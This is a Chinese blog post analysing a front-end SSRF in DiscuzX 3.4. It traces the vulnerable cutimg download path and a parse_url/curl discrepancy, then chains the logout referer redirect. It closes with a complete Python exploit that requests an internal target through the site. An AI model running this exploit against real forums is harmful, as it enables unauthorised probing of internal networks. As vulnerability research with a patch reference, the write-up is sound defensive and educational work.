Hu3sky's blog

DiscuzX 3.4 前台SSRF

Word count: 1,088 / Reading time: 5 min
2019/01/29 Share

discuz 3.4 前台SSRF

复现并分析一下之前l3m0n师傅的SSRF。膜。

漏洞分析

补丁链接
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3?view=parallel

漏洞主要发生在参数cutimg,一个远程下载功能
直接看到漏洞点
source目录下是程序模块功能处理目录

1
2
文件:
source/module/misc/misc_imgcropper.php:55

代码

1
2
3
4
$prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));
}

$_G['setting']['ftp']['attachurl']默认是/

如何解析出host

由于前面已经有一个/了。在对parse_url的测试中,发现
//127.0.0.1:80/aaa这样以//开头的url同样能被解析出host
1

然后跟到image类的Thumb函数中

1
2
文件:upload/source/class/class_image.php
方法:Thumb

对应source变量

1
2
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
$return = $this->init('thumb', $source, $target, $nosuffix);

进入同文件下的init函数
1
parse_url函数处理$source然后如果存在host,就调用dfsockopen
前面说到$_G['setting']['ftp']['attachurl']默认是/

函数

1
2
文件:upload/source/function/function_core.php
函数:dfsockopen

1
又调用_dfsockopen函数处理,在_dfsockopen函数中就会用curl处理请求

1
2
文件:upload/source/function/function_filesock.php
函数:_dfsockopen

代码

1
2
3
4
5
6
7
8
9
$matches = parse_url($url);
$scheme = $matches['scheme'];
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
...
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
...
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
...

我们这里传入的//baidu.com:80,由于没有加协议,所以$scheme = $matches['scheme']; 为null,看到curl这一行
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
处理后,请求的url变为 ://baidu.com/
前面自动加上协议后变为http://://baidu.com/,于是我们来看看这样的url curl能够如何请求

curl测试

win

curl版本–7.55.1
1

在win下,用curl请求到了本机ipv6
1
1

linux

curl版本–7.58.0
1
并没有请求到任何host
1
于是,漏洞有一个触发条件是需要在win下

所以最后请求http://://baidu.com/aaa 就请求到了http://127.0.0.1:80/baidu.com/aaa 于是这里就可以进行本地的ssrf,较鸡肋,于是还需要找一个302跳转

Search_302_redirect

这个302跳转需要是无需登陆的,并且get型
logout的时候会获取referer,然后进入301跳转

1
2
文件:upload/source/class/class_member.php
函数:on_logout

1
调用了dreferer

1
文件:/source/function/function_core.php:1498

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function dreferer($default = '') {

...

$_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER']; // 优先获取GET的referer
$_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer'];

if(strpos($_G['referer'], 'member.php?mod=logging')) {
$_G['referer'] = $default;
}

$reurl = parse_url($_G['referer']); //parse_url处理referer

if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) {
$_G['referer'] = ''; //需要referer有协议,http或者https
}

if(!empty($reurl['host']) && !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) { //host不为空,且解析出的host与本身的host不一致
if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) { //解析出的host与本身的host不一致
$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1);
if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && !in_array($domainroot, $_G['setting']['domain']['root']))) {
$_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php';
}
}
} elseif(empty($reurl['host'])) {
$_G['referer'] = $_G['siteurl'].'./'.$_G['referer'];
}

$_G['referer'] = durlencode($_G['referer']);
return $_G['referer'];
}

1

这里与$_SERVER['HTTP_HOST'] 进行了比较,判断是否在同一域名下
我们需要我们传入的referer不改变,但是只能传入www. 才能够控制referer
又由于我们之前是需要curl来处理,所以这里就涉及到了curlparse_url的差别了
当我们传入`www.#@baidu.com时,parse_urlcurl会出现差异parse_url解析到的是www.,而curl则会请求到baidu.com`
于是,整个利用链

本地ssrf->前台logout处get型任意302跳转->ssrf利用

漏洞验证

exp(参考rai4over师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# coding=utf-8
import requests
import re
from urllib.parse import urlparse, quote
from urllib import parse

if __name__ == "__main__":

url = "http://127.0.0.1/DiscuzX/upload/"
ssrf_target = "192.168.107.141:6666"

path = urlparse(url).path
payload = quote(
"/member.php?mod=logging&action=logout&quickforward=1&referer=http://www.%23%40{ssrf_target}".format(
ssrf_target=ssrf_target))
s = requests.Session()
html = s.get(url).text
searchObj = re.search(r'name="formhash" value="(.*?)"', html, re.M | re.I)
formhash = searchObj.group(1)
rs = s.post(
url + "misc.php?mod=imgcropper&imgcroppersubmit=1&formhash={formhash}&picflag=2&cutimg={path}{payload}".format(
formhash=formhash, path=path, payload=payload))
exit()

成功ssrf
1

CATALOG
  1. 1. discuz 3.4 前台SSRF
  2. 2. 漏洞分析
    1. 2.1. 如何解析出host
    2. 2.2. curl测试
      1. 2.2.1. win
      2. 2.2.2. linux
    3. 2.3. Search_302_redirect
    4. 2.4. 漏洞验证